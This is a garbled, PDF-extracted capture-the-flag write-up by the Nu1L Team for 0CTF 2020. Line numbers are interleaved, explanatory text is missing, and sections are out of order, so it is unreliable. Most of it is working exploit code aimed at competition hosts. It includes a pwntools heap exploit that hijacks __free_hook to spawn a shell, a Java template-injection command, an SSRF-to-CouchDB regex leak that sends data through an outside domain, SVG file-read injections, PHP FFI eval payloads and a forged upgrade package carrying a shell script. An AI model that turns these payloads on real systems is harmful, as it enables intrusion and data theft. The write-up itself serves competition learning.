res = content[:2]
for idx, value in enumerate(content[2:]):
res += chr(ord(value)^ord(key[idx%2]))
assert res[56:58] == '\xbe\xbe'
assert res[54:56] == res[0:2]
print `res`
type_ = struct.unpack('I',res[4:8])[0]
print 'type:',type_
if type_ == 1:
off = struct.unpack('Q',res[8:16])[0]
print off
length = struct.unpack('Q',res[16:24])[0]
f.seek(off)
content = f.read(length)
sha256_std = res[24:24+0x20]
sha256_res = sha256(content).hexdigest()
assert sha256_res == sha256_std.encode('hex')
with open('res.tar.gz','wb') as out:
out.write(content)
elif type_ == 2:
length = struct.unpack('Q',res[16:24])[0]
print length
assert length == 512
off = struct.unpack('Q',res[8:16])[0]
print off
f.seek(off)
sig1 = f.read(0x200)
elif type_ == 3:
length = struct.unpack('Q',res[16:24])[0]
assert length == 512
off = struct.unpack('Q',res[8:16])[0]
print off
f.seek(off)
sig2 = f.read(0x200)
f.close()
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
libarchivepaxunicode
archive_read_next_headerARCHIVE_WARNwhilehash1
s0hash
import struct
from hashlib import sha256
import tarfile
with tarfile.open("invalid.tar.gz", "w:gz", format=tarfile.PAX_FORMAT) as
tar:
tar.add('123', arcname=u'\ud800xyz')
tar.add('do_upgrade.sh')
with open('invalid.tar.gz', 'rb') as f:
payload = f.read()
f = open('expppp.upg', 'wb')
1
2
3
4
5
6
7
8
9
10
11
12
f.write('\xAA\xCC\xCC\xAA')
f.write(struct.pack('Q', 3))
content = '\x00\x00\x00\x00'
off = 204
content += (struct.pack('I', 1))
content += (struct.pack('Q', off))
content += (struct.pack('Q', len(payload)))
content += (sha256(payload).hexdigest().decode('hex'))
content += '\xbe\xbe'
content = content.ljust(64, '0')
res = content[54:56]
for idx, value in enumerate(content[2:]):
res += chr(ord(value) ^ ord(res[idx % 2]))
f.write(res)
f.seek(off)
f.write(payload)
f.seek(12+64)
content = '\x00\x00\x00\x00'
content += (struct.pack('I', 2))
off = 204 + len(payload)
content += (struct.pack('Q', off))
content += (struct.pack('Q', 512))
content = content.ljust(54, '0')
content += '\x00\x00\xbe\xbe'
content = content.ljust(64, '0')
f.write(content)
f.seek(off)
f.write('\0'*512)
f.seek(12+64*2)
content = '\x00\x00\x00\x00'
content += (struct.pack('I', 3))
off = 204 + len(payload) + 512
content += (struct.pack('Q', off))
content += (struct.pack('Q', 512))
content = content.ljust(54, '0')
content += '\x00\x00\xbe\xbe'
content = content.ljust(64, '0')
f.write(content)
f.seek(off)
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
do_upgrade.shshell
LookAround
XXE https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/
DTDvps/usr/share/xml/fontconfig/fonts.dtd
render
getoutputstreamread
[[${new java.io.BufferedReader(new
java.io.InputStreamReader(T(java.lang.Runtime).getRuntime().exec('cat
/flag').getInputStream())).readLine()}]]
f.write('\0'*512)
f.close()
62
63
64
Easy Realworld Challenge
Log
mblockchain
import javax.crypto.Cipher;
import javax.crypto.CipherOutputStream;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.security.Key;
import java.security.MessageDigest;
1
2
3
4
5
6
7
8
public class Main {
public static void main(String[] args) {
System.out.println("Hello World!");
String en =
"74f0b165db8a628716b53a9d4f6405980db2f833afa1ed5eeb4304c5220bdc0b541f857a7
348074b2a7775d691e71b490402621e8a53bad4cf7ad4fcc15f20a8066e087fc1b2ffb21c2
7463b5737e34738a6244e1630d8fa1bf4f38b7e71d707425c8225f240f4bd2b03d6c2471e9
00b75154eb6f9dfbdf5a4eca9de5163f9b3ee82959f166924e8ad5f1d744c51416a1db8963
8bb4d1411aa1b1307d88c1fb5";
byte[][] v4 = new byte[10][];
try
{
for(int i = 0;i < 0x100;i++)
{
for(int j = 0;j < 0x100;j++)
{
for(int k = 0;k < 0x100;k++)
{
v4[0] = hash(new byte[]{(byte)i,(byte)j,(byte)k});
for(int v7 = 1; v7 < 10; ++v7)
{
v4[v7] = hash(v4[v7-1]);
}
byte[] v5 = hexToByteArray(en);
for(int v7 = 9; v7 >= 0; v7--) {
v5 = encrypt(v5, v4[v7]);
}
int b = v5.length;
if(b >0)
{
String sss = new String(v5);
if(sss.startsWith("flag"))
System.out.println(sss);
}
// System.out.println(a);
}
}
System.out.println("1");
}
// System.out.println(v4);
}
catch (Exception a)
{
System.out.println(a);
}
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
Hub
2.27free __free_hook ,puts
}
public static byte[] hash(byte[] arg2) throws Exception {
MessageDigest v0 = MessageDigest.getInstance("MD5");
v0.update(arg2);
return v0.digest();
}
public static byte[] encrypt(byte[] arg5, byte[] arg6) throws
Exception {
SecretKeySpec v0 = new SecretKeySpec(arg6, "AES");
Cipher v1;
v1 = Cipher.getInstance("AES/ECB/PKCS5Padding");
v1.init(Cipher.DECRYPT_MODE, ((Key)v0));
ByteArrayOutputStream v2 = new ByteArrayOutputStream();
CipherOutputStream v3 = new CipherOutputStream(((OutputStream)v2),
v1);
v3.write(arg5);
v3.flush();
v3.close();
return v2.toByteArray();
}
public static byte[] hexToByteArray(String inHex){
int hexlen = inHex.length();
byte[] result;
if (hexlen % 2 == 1){
hexlen++;
result = new byte[(hexlen/2)];
inHex="0"+inHex;
}else {
result = new byte[(hexlen/2)];
}
int j=0;
for (int i = 0; i < hexlen; i+=2){
result[j]=hexToByte(inHex.substring(i,i+2));
j++;
}
return result;
}
public static byte hexToByte(String inHex){
return (byte)Integer.parseInt(inHex,16);
}
}
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *
# p = process("./hub")
p = remote("47.112.139.218",13132)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# context.log_level = 'debug'
# context.terminal = ['tmux','sp','-h','-l','120']
sl = lambda x,y:p.sendlineafter(x,y)
s = lambda x,y:p.sendafter(x,y)
ru = lambda x: p.recvuntil(x,drop=True)
def malloc(size):
sl(">>",str(1))
sl("How long will you stay?",str(size))
def free(idx):
sl(">>",str(2))
sl("Which hub don't you want?",str(idx))
def write(cnt):
sl(">>",str(3))
s("What do you want?",cnt)
malloc(0x90)
malloc(0x80)
malloc(0x8)
free(0)
free(0)
malloc(0x48)
free(0)
for i in range(7):
free(-0xb0)
free(-0xb0)
malloc(0x80)
write("\xe8\xc8")
free(0xb0)
free(0xb0)
malloc(0x48)
write("\x00")
#leaking libc brute
malloc(0x48)
malloc(0x48)
malloc(0x48)
write(p64(0x4006A0))
malloc(0x28)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
8v
free(0)
p.recvuntil('\n')
libc.address=u64(p.recv(6).ljust(0x8,'\x00'))-0x3ebd20
log.info("libc.address:"+hex(libc.address))
__free_hook = libc.symbols['__free_hook']
log.info("__free_hook:"+hex(__free_hook))
system = libc.sym['system']
log.info("system:"+hex(system))
malloc(0x38)
write(p64(__free_hook))
malloc(0x18)
write("\x30")
malloc(0x18)
malloc(0x18)
malloc(0x18)
write(p64(system))
malloc(0x108)
write("/bin/sh\x00")
free(0)
p.interactive()
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
function e(a)
{
var s = '\xd2"\xf1\x8d\xb7\xe0\xd0MF\x87T?
\x1fI\x1c\xe7\xcb\x07\xc3\x95z\xb3z\x0b\xbb\xdb\xa1I\xc5;';
var a1 = s;
var a2 = new Array(37);
var a3 = 88;
for(var i=0;i<a.length;i++)
{
// t = ((a[i].charCodeAt() ^ a3)*65 + 66)%256;
var t = a[i].charCodeAt();
// a2 += String.fromCharCode(((a3 ^ t)*35 - 16)%256);
a2[i] = (a3 ^ t);
a3 = ((a3)*65 + 66)%256;
}
// console.log(a2);
for(var i=29;i>=0;i--)
{
// t = ((a[i].charCodeAt() ^ a3)*65 + 66)%256;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Babycry
var t = a2[i];
// a2 += String.fromCharCode(((a3 ^ t)*35 - 16)%256);
a2[i] = String.fromCharCode (a3 ^ t);
a3 = ((a3)*35 - 16)%256;
}
// console.log(a2);
return a2;
}
var s = '\xd2"\xf1\x8d\xb7\xe0\xd0MF\x87T?
\x1fI\x1c\xe7\xcb\x07\xc3\x95z\xb3z\x0b\xbb\xdb\xa1I\xc5;';
console.log(e(s));
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context.log_level = 'debug'
p = remote('139.9.222.76', 19999)
def de(d):
p.recvuntil('>')
p.sendline('des ' + d)
r = p.recvline().strip()
return r.decode('hex')
guess = 3
flag = '}'
for i in xrange(40):
ori = de('a' * (guess + len(flag)))
l = len(flag)/8
if l == 0:
ori = ori[-8:]
else:
ori = ori[-8 * (l+1) : -8 * l ]
padding = ''
if l == 0:
padding = flag + '_'*(7-len(flag))
else:
padding = flag[:7]
for j in xrange(0x20,0x80):
guessed = chr(j) + padding
des = de(guessed)[:8]
if des == ori:
flag = chr(j) + flag
print(flag)
break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32 | pdf |
0CTF WP
Author:Nu1L Team
0CTF WP
WEB
amp2020
easyphp
noeasyphp
lottery
Wechat Generator
Pwn
eeeeeemoji
simple echoserver
Chromium RCE
Re
babymips
Happy Tree
J
w
flash-1
Misc
eeemoji
Cloud Computing
Cloud Computing v2
Crypto
babyring
WEB
amp2020
dockerflagenvcouchDBcouchDBHTTP
RCE/SSRF
axios
SSRFWAFWAF SSRFcouchDB
flag
curl
http://aa015267de77493e88c837682b02c5668:[email protected]:5984/aa015
267de77493e88c837682b02c5668/flag
AMPHTML (amphtml-validator)cheerio
scriptchrome
script
IP127.0.0.1URLaxios
couchDBcouchDBHTTP basic authcookie
iframecouchDB(HTMLsrcHTTP basic
auth)
HTML/XSSchromeaxiosaxios SSRF
couchDBleak flag
1. HTML
cheerioamphtml-validatorbypass
(noscriptiframeamphtml-validator)
<script async src="https://cdn.ampproject.org/v0.js"></script>
<!doctype html>
axios(metatargetiframe
axios)
2. SSRFWAF
axiosobject
input[a]=xxx&input[b]=yyy{"a":"xxx","b":"yyy"}axios
<html amp lang="en">
<head>
<meta charset="utf-8">
<script async src="https://cdn.ampproject.org/v0.js"></script>
<title>Hello, AMPs</title>
<link rel="canonical" href="https://amp.dev/documentation/guides-and-
tutorials/start/create/basic_markup/">
<meta name="viewport" content="width=device-width,minimum-scale=1,initial-
scale=1">
<style amp-boilerplate>body{-webkit-animation:-amp-start 8s steps(1,end)
0s 1 normal both;-moz-animation:-amp-start 8s steps(1,end) 0s 1 normal both;-
ms-animation:-amp-start 8s steps(1,end) 0s 1 normal both;animation:-amp-start
8s steps(1,end) 0s 1 normal both}@-webkit-keyframes -amp-
start{from{visibility:hidden}to{visibility:visible}}@-moz-keyframes -amp-
start{from{visibility:hidden}to{visibility:visible}}@-ms-keyframes -amp-
start{from{visibility:hidden}to{visibility:visible}}@-o-keyframes -amp-
start{from{visibility:hidden}to{visibility:visible}}@keyframes -amp-
start{from{visibility:hidden}to{visibility:visible}}</style><noscript><style
amp-boilerplate>body{-webkit-animation:none;-moz-animation:none;-ms-
animation:none;animation:none}</style></noscript>
</head>
<body>
<h1>Welcome to the mobile web</h1>
<!-- bug here -->
<noscript>
<iframe src="https://aa.com"> </noscript>
<!-- inject html tag here -->
<meta http-equiv="refresh" content="0;
url='http://i_want_a_girl_friend/insert'">
</noscript>
</body>
</html>
else if (body.type === 'url') {
try {
const ret = await axios(body.input, { timeout: 5000 })
input = ret.data
} catch (e) {
res.status(500)
axiosIPWAF
HTTP code 307POSTPUTtarget
3. leak flag
flagleak
axiosinput amp html
couchdbjsonaxiosparse
cheeriojson parse objectstringscript
axios maxContentLength
throw axioserror
?input[method]=POST
&input[maxRedirects]=5
&input[url]=http://iwantaggirlfriend/rd.php?type=aaa
&input[data][test] = test
couchDBregexpflagflag
maxContentLength
flag
exploit
<!doctype html>
<html amp lang="en">
<head>
<meta charset="utf-8">
<script async src="https://cdn.ampproject.org/v0.js"></script>
<title>Hello, AMPs</title>
<link rel="canonical" href="https://amp.dev/documentation/guides-and-
tutorials/start/create/basic_markup/">
<meta name="viewport" content="width=device-width,minimum-scale=1,initial-
scale=1">
<style amp-boilerplate>body{-webkit-animation:-amp-start 8s steps(1,end)
0s 1 normal both;-moz-animation:-amp-start 8s steps(1,end) 0s 1 normal both;-
ms-animation:-amp-start 8s steps(1,end) 0s 1 normal both;animation:-amp-start
8s steps(1,end) 0s 1 normal both}@-webkit-keyframes -amp-
start{from{visibility:hidden}to{visibility:visible}}@-moz-keyframes -amp-
start{from{visibility:hidden}to{visibility:visible}}@-ms-keyframes -amp-
start{from{visibility:hidden}to{visibility:visible}}@-o-keyframes -amp-
start{from{visibility:hidden}to{visibility:visible}}@keyframes -amp-
start{from{visibility:hidden}to{visibility:visible}}</style><noscript><style
amp-boilerplate>body{-webkit-animation:none;-moz-animation:none;-ms-
animation:none;animation:none}</style></noscript>
</head>
<body>
<h1>Welcome to the mobile web</h1>
<noscript><iframe src="https://aa.com"></noscript>
<meta http-equiv="refresh" content="0;
url='http://ebcece08.n0p.co/insert#^fla'"></noscript>
</body>
</html>
/insert
<html>
<script>
function create_iframe(id,src,w,h){
var ifrm = document.createElement("iframe");
ifrm.setAttribute("src", src);
ifrm.style.width = w;
ifrm.style.height = h;
ifrm.id = id;
document.body.appendChild(ifrm);
}
function exploit_couchdb(){
var guesschar = location.hash.slice(1);
document.getElementById("aa")["input[data][selector][flag]
[$regex]"].value = guesschar;
document.getElementById("aa").submit();
}
window.onload = function do_exp (){
create_iframe("login","http://ebcece08.n0p.co/login","0px","0px"); //
login
setTimeout("exploit_couchdb()",300); // exploit
}
/*
type=url&
input[maxRedirects]=5
&input[url]=http://118.24.185.108/rd.php?type=aaa
&input[maxContentLength]=200
&input[method]=POST
&input[data][selector][flag][$regex]=^a
&input[data][fields][0]=flag
&input[data][fields][1]=_rev
&input[data][fields][2]=_id
*/
</script>
<body>
<form id="aa" method="post" action="http://127.0.0.1:3000/validator">
<input name="type" value = "url">
<input name="input[maxRedirects]" value = "5">
<input name="input[url]" value = "http://118.24.185.108/rd.php?type=aaa">
<input name="input[maxContentLength]" value = "200">
<input name="input[method]" value = "post">
/login
diffbase64
<input name="input[data][selector][flag][$regex]" value = "^">
<input name="input[data][fields][0]" value = "flag">
<input name="input[data][fields][1]" value = "_rev">
<input name="input[data][fields][2]" value = "_id">
</form>
</body>
</html>
<html>
<script>
window.onload = function aa (){
document.getElementById("aa").submit();
}
</script>
<body>
<form id="aa" method="post" action="http://127.0.0.1:3000/users/login">
<input name="username" value = "iwantagirlfriend">
<input name="password" value = "iwantagirlfriend">
</form>
aaaaa
</body>
</html>
import requests
import json
import string
r = requests.session()
def login():
burp0_url = "http://pwnable.org:33000/users/login"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X
10.15; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-
Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip,
deflate", "Referer": "http://pwnable.org:33000/users/login", "Content-Type":
"application/x-www-form-urlencoded", "Connection": "close", "Upgrade-Insecure-
Requests": "1"}
burp0_data = {"username": "wupco", "password": "wupco"}
r.post(burp0_url, headers=burp0_headers , data=burp0_data)
def exploit(guesschar):
login()
burp0_url = "http://pwnable.org:33000/validator"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X
10.15; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept": "*/*", "Accept-
Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip,
deflate", "Referer": "http://pwnable.org:33000/", "Content-Type":
"application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With":
"XMLHttpRequest", "Connection": "close"}
burp0_data = {"type": "text", "input": "<!doctype html>\n<html amp
lang=\"en\">\n <head>\n <meta charset=\"utf-8\">\n <script async
src=\"https://cdn.ampproject.org/v0.js\"></script>\n <title>Hello,
AMPs</title>\n <link rel=\"canonical\"
href=\"https://amp.dev/documentation/guides-and-
tutorials/start/create/basic_markup/\">\n <meta name=\"viewport\"
content=\"width=device-width,minimum-scale=1,initial-scale=1\">\n <style
amp-boilerplate>body{-webkit-animation:-amp-start 8s steps(1,end) 0s 1 normal
both;-moz-animation:-amp-start 8s steps(1,end) 0s 1 normal both;-ms-
animation:-amp-start 8s steps(1,end) 0s 1 normal both;animation:-amp-start 8s
steps(1,end) 0s 1 normal both}@-webkit-keyframes -amp-
start{from{visibility:hidden}to{visibility:visible}}@-moz-keyframes -amp-
start{from{visibility:hidden}to{visibility:visible}}@-ms-keyframes -amp-
start{from{visibility:hidden}to{visibility:visible}}@-o-keyframes -amp-
start{from{visibility:hidden}to{visibility:visible}}@keyframes -amp-
start{from{visibility:hidden}to{visibility:visible}}</style><noscript><style
amp-boilerplate>body{-webkit-animation:none;-moz-animation:none;-ms-
animation:none;animation:none}</style></noscript>\n </head>\n <body>\n
<h1>Welcome to the mobile web</h1>\n <noscript><iframe
src=\"https://aa.com\"></noscript>\n <meta http-equiv=\"refresh\"
content=\"0; url='http://ebcece08.n0p.co/insert#^"+ guesschar +"'\">
</noscript>\n </body>\n</html>"}
data = r.post(burp0_url, headers=burp0_headers, data=burp0_data).text
return json.loads(data)["image"]
flagchar = string.ascii_lowercase +"}{_" +string.digits
+string.ascii_uppercase
flag = ""
#flag{t4ke_a_google_amp_screensh0t_and_fell_into_millions_pit}
for i in range(140):
j = 0
while j < len(flagchar):
print("trying "+flagchar[j])
tmpflag = flag + flagchar[j]
res = exploit(tmpflag).encode('utf8')
if
('AAQBoBAgAApBEgAABAGgECAACkESAAAEAaAQIAAKQRIAAAQBoBAgAApBEgAABAGgECAACkESAAAE
AaAQIAAKQRIAAAQBoBAgAApBEgAABAGgECAACkESAAAEAaAQIAAKQRIAAAQBoBAgAApBEgAABAGgEC
AACkESAAAEAaAQIAAKQRIAAAQBoBAgAApBEgAABAGgECAACkESAAAEAaAQIAAKQRIAAAQBoBAgAApB
EgAABAGgECAACk+X/+nVRIR1Q8XgAAAABJRU5ErkJggg==') in res:
j = j + 1
continue
easyphp
noeasyphp
elif
("QIwAAQAAYgQIAAAQI0AAAIAYAQIAAMQIEAAAIEaAAAAAMf8FSuHE6bm7erQAAAAASUVORK5CYII=
") in res:
flag += flagchar[j]
print(flag)
break
else:
j = j
continue
print_r(FFI::string($aa-%3E()));
lottery
enclotterycoinblock size16ecb
http://pwnable.org:2333/lottery/infoenc base6448
lotterylottery
rh=eval(base64_decode('JGZsYWc9RkZJOjpsb2FkKCIvZmxhZy5oIik7JGNoYXI9JGZsYWctPm5
ldygiY2hhclsweDMwXSIsZmFsc2UpOyRjaGFyPUZGSTo6YWRkcigkY2hhcik7RkZJOjpmcmVlKCRja
GFyKTskbG9hZGZsYWc9RkZJOjpsb2FkKCIvZmxhZy5oIik7cHJpbnRfcigkY2hhcik7'));
object(FFI\CData:char(*)[88])#3 (1) { [0]=> object(FFI\CData:char[88])#5 (88)
{ [0]=> string(1) "•" [1]=> string(1) "" [2]=> string(1) "" [3]=> string(1) ""
[4]=> string(1) "8" [5]=> string(1) "•" [6]=> string(1) "" [7]=> string(1) ""
[8]=> string(1) "•" [9]=> string(1) "" [10]=> string(1) "" [11]=> string(1) ""
[12]=> string(1) "L" [13]=> string(1) "I" [14]=> string(1) "B" [15]=>
string(1) " " [16]=> string(1) "" [17]=> string(1) " " [18]=> string(1) " "
[19]=> string(1) " " [20]=> string(1) " " [21]=> string(1) "U" [22]=>
string(1) "" [23]=> string(1) "" [24]=> string(1) "" [25]=> string(1) " "
[26]=> string(1) "•" [27]=> string(1) "•" [28]=> string(1) "]" [29]=>
string(1) "•" [30]=> string(1) "" [31]=> string(1) "" [32]=> string(1) ""
[33]=> string(1) "" [34]=> string(1) "" [35]=> string(1) "" [36]=> string(1)
"" [37]=> string(1) "" [38]=> string(1) "" [39]=> string(1) "" [40]=>
string(1) "C" [41]=> string(1) "O" [42]=> string(1) "P" [43]=> string(1) "E"
[44]=> string(1) " " [45]=> string(1) """ [46]=> string(1) "f" [47]=>
string(1) "l" [48]=> string(1) "a" [49]=> string(1) "g" [50]=> string(1) ""
[51]=> string(1) " " [52]=> string(1) " " [53]=> string(1) "c" [54]=>
string(1) "h" [55]=> string(1) "a" [56]=> string(1) "@" [57]=> string(1) "a"
[58]=> string(1) " " [59]=> string(1) "•" [60]=> string(1) "]" [61]=>
string(1) "•" [62]=> string(1) "" [63]=> string(1) "" [64]=> string(1) "`"
[65]=> string(1) "`" [66]=> string(1) " " [67]=> string(1) "•" [68]=>
string(1) "]" [69]=> string(1) "•" [70]=> string(1) "" [71]=> string(1) ""
[72]=> string(1) "a" [73]=> string(1) "p" [74]=> string(1) "A" [75]=>
string(1) "3" [76]=> string(1) "H" [77]=> string(1) "1" [78]=> string(1) "("
[79]=> string(1) ")" [80]=> string(1) "•" [81]=> string(1) "" [82]=> string(1)
"" [83]=> string(1) "" [84]=> string(1) "" [85]=> string(1) "" [86]=>
string(1) "" [87]=> string(1) "" } }
print_r(FFI::string($aa-%3Eflag_wAt3_uP_apA3H1()));
import requests
import base64
import random
import string
table = string.ascii_lowercase + string.digits
Wechat Generator
mine =
'4EGLYPQmvDYL3T0csTrb/UasaeUAwnNRSsj7+v2O317kWrVccOQLjT5mEsSts+E1JlJbZW06kKjoW
2+5AurC8B+gWLiDN9cG6AwpqubnB/fW0QabiQ17JLgIDt6eiasHPdUqULBnKVY0eePPLv02MPhIZnV
HgXwIkkuehhS/11g='
def register():
username = 'Q7_' + ''.join([random.choice(table) for _ in range(5)])
return requests.post('http://pwnable.org:2333/user/register', {'username':
username, 'password': ''}).json()['user']
def login(s, username):
return s.post('http://pwnable.org:2333/user/login', {'username': username,
'password': ''}).json()['user']
def buy(api_token):
return requests.post('http://pwnable.org:2333/lottery/buy', {'api_token':
api_token}).json()
def lottery_info(enc):
return requests.post('http://pwnable.org:2333/lottery/info', {'enc':
enc}).json()['info']
def charge(enc, coin):
return requests.post('http://pwnable.org:2333/lottery/charge', {'enc':
enc, 'coin': coin, 'user': '2040dfa8-f481-482a-913e-0da8f5ef0304'}).json()
while True:
print('='*30)
user = register()
username = user['username']
s = requests.session()
user = login(s, username)
api_token = user['api_token']
uuid = user['uuid']
print(user)
for _ in range(3):
enc = buy(api_token)['enc']
info = lottery_info(enc)
if(info['lottery'].endswith('f6')):
print(enc)
fake = base64.b64encode(base64.b64decode(enc)[:48] +
base64.b64decode(mine)[48:])
print(charge(fake, info['coin']))
import requests
import base64
/app/app.py
/SUp3r_S3cret_URL
def preview(data):
url = "http://pwnable.org:5000/preview"
resp = requests.post(url, data={"data": data})
return resp.json()
def share(id):
url = "http://pwnable.org:5000/share"
resp = requests.post(url, data={"previewid" : id}, allow_redirects=False)
return resp.json()
if __name__ == "__main__":
data = """
[{"type":0,"message":"Love you!"},{"type":1,"message":"Me too!!!"},
{"type":0,"message":"My Message[smile.png\\\" /><image
xlink:href=\\\"text:/proc/self/cmdline\\\" x=\\\"0\\\" y=\\\"0\\\"
height=\\\"640px\\\" width=\\\"480px\\\" /><image x=\\\"500\\\" y=\\\"500\\\"
height=\\\"0px\\\" width=\\\"0px\\\"
xlink:href=\\\"http://pwnable.org:5000/static/emoji/smile]"}]
"""
js = preview(data)
print(js["data"])
xml = js["data"].split("data:image/svg+xml;base64,")[1]
print(base64.b64decode(xml))
print(js["previewid"])
url = share(js["previewid"])["url"]
print("http://pwnable.org:5000/image/"+url[-6:]+"/png")
data = """
[{"type":0,"message":"My Message[smile.png\\\" />
<image x=\\\"0\\\" y=\\\"0\\\" height=\\\"640px\\\" width=\\\"580px\\\"
xlink:href=\\\"text:/proprocc/self/fd/3\\\" />
<image x=\\\"0\\\" y=\\\"0\\\" height=\\\"0px\\\" width=\\\"0px\\\"
xlink:href=\\\"https://d7cb7b72.n0p.co/test]"}]
"""
http://pwnable.org:5000/SUp3r_S3cret_URL/0Nly_4dM1n_Kn0ws alert(1)flag
src|proc|env|meta
Content-Type
http://pwnable.org:5000/image/OStWDv/png
http://pwnable.org:5000/image/OStWDv/svg
http://pwnable.org:5000/image/OStWDv/htm
cspsvg <script> jshtm
html <memetata http-equiv="Refresh" content="0;
url=http://hacker.com/alert.html"/> cspalert(1)
Pwn
eeeeeemoji
data = """
[{"type":0,"message":"Love you!"},{"type":1,"message":"Me too!!!"},
{"type":0,"message":"My Message[smile.png\\\\\\" /><memetata http-
equiv=\\\\\\"Refresh\\\\\\" content=\\\\\\"0;
url=http://hacker.com/alert.html\\\\\\"/><image x=\\\\\\"500\\\\\\"
y=\\\\\\"500\\\\\\" height=\\\\\\"0px\\\\\\" width=\\\\\\"0px\\\\\\"
xlink:href=\\\\\\"<http://pwnable.org:5000/static/emoji/smile>]"}]
"""
from pwn import *
#p = process('./emoji')
p = remote('pwnable.org', 31323)
def convaddr(a):
f = ord(a[0])
if f & 0b11111100 == 0b11111100:
ans = ((ord(a[0])&0b1)<<30) | ((ord(a[1])&0b00111111)<<24) |
((ord(a[2])&0b00111111)<<18)| ((ord(a[3])&0b00111111)<<12)|
((ord(a[4])&0b00111111)<<6)|((ord(a[5])&0b00111111))
ans2 = ((ord(a[6])&0b111)<<12) |((ord(a[7])&0b00111111)<<6) |
((ord(a[8])&0b00111111))
return (ans2 << 32) | ans
elif f & 0b11111000 == 0b11111000:
ans = ((ord(a[0])&0b11)<<24) |((ord(a[1])&0b00111111)<<18)|
((ord(a[2])&0b00111111)<<12)|((ord(a[3])&0b00111111)<<6)|
((ord(a[4])&0b00111111))
ans2 = ((ord(a[5])&0b111)<<12) | ((ord(a[6])&0b00111111)<<6) |
((ord(a[7])&0b00111111))
return (ans2 << 32) | ans
def addrconv(a):
a = a & 0xffffffff
bits = bin(a)[2:]
l = len(bits)
if 7<l<=11:
b1 = int('10'+bits[-6:],2)
b2 = int('110'+bits[:-6].rjust(5,'0'),2)
conved = chr(b2) + chr(b1)
return conved
if 11< l <=16:
b1 = int('10'+bits[-6:],2)
b2 = int('10'+bits[-12:-6],2)
b3 = int('1110'+bits[:-12].rjust(4,'0'),2)
conved = chr(b3) + chr(b2) + chr(b1)
return conved
elif 16<l<=18:
b1 = int('10'+bits[-6:],2)
b2 = int('10'+bits[-12:-6],2)
b3 = int('10'+bits[:-12].rjust(6,'0'),2)
b4 = 0b11110000
conved = chr(b4) + chr(b3) + chr(b2) + chr(b1)
return conved
elif 18<l<=21:
b1 = int('10'+bits[-6:],2)
b2 = int('10'+bits[-12:-6],2)
b3 = int('10'+bits[-18:-12],2)
b4 = int('11110'+bits[:-18].rjust(3,'0'),2)
conved = chr(b4) + chr(b3) + chr(b2) + chr(b1)
return conved
elif 21<l<=24:
b1 = int('10'+bits[-6:],2)
b2 = int('10'+bits[-12:-6],2)
b3 = int('10'+bits[-18:-12],2)
b4 = int('10'+bits[:-18].rjust(6,'0'),2)
b5 = 0b11111000
conved = chr(b5) + chr(b4) + chr(b3) + chr(b2) + chr(b1)
return conved
elif 24<l<=26:
b1 = int('10'+bits[-6:],2)
b2 = int('10'+bits[-12:-6],2)
b3 = int('10'+bits[-18:-12],2)
b4 = int('10'+bits[-24:-18],2)
b5 = int('111110'+bits[:-24].rjust(2,'0'),2)
conved = chr(b5) + chr(b4) + chr(b3) + chr(b2) + chr(b1)
return conved
elif 26<l<=30:
b1 = int('10'+bits[-6:],2)
b2 = int('10'+bits[-12:-6],2)
b3 = int('10'+bits[-18:-12],2)
b4 = int('10'+bits[-24:-18],2)
b5 = int('10'+bits[:-24].rjust(6,'0'),2)
b6 = 0b11111100
conved = chr(b6) + chr(b5) + chr(b4) + chr(b3) + chr(b2) + chr(b1)
return conved
elif l>30:
b1 = int('10'+bits[-6:],2)
b2 = int('10'+bits[-12:-6],2)
b3 = int('10'+bits[-18:-12],2)
b4 = int('10'+bits[-24:-18],2)
b5 = int('10'+bits[-30:-24],2)
b6 = int('1111110'+bits[:-30].rjust(1,'0'),2)
conved = chr(b6) + chr(b5) + chr(b4) + chr(b3) + chr(b2) +chr(b1)
return conved
BEER = '\xf0\x9f\x8d\xba'
BULL = '\xf0\x9f\x90\xae'
HORSE = '\xf0\x9f\x90\xb4'
addrmap = []
'''
p.recvuntil('Miaow miaow miaow')
p.sendline(BEER)
p.recvuntil('@0x')
mmap_addr = int(p.recvline().strip(),16)
print hex(mmap_addr)
raw_input()
#p.recvuntil('Miaow miaow miaow')
#p.sendline(BULL)
p.recvuntil('Miaow miaow miaow')
p.sendline(BEER)
p.recvuntil('Miaow miaow miaow')
p.sendline(HORSE)
'''
def prepare(addr):
p.recvuntil('Miaow miaow miaow')
p.sendline(HORSE)
p.recvuntil('\xf0\x9f\x98\x93')
a1 = addrconv(0x49006a90)
a2 = addrconv(0x69622fb8)
a3 = addrconv(0x68732f6e)
a4 = addrconv(0x48504100)
a5 = addrconv(0x03bc0c7)
a6 = addrconv(0x48900000)
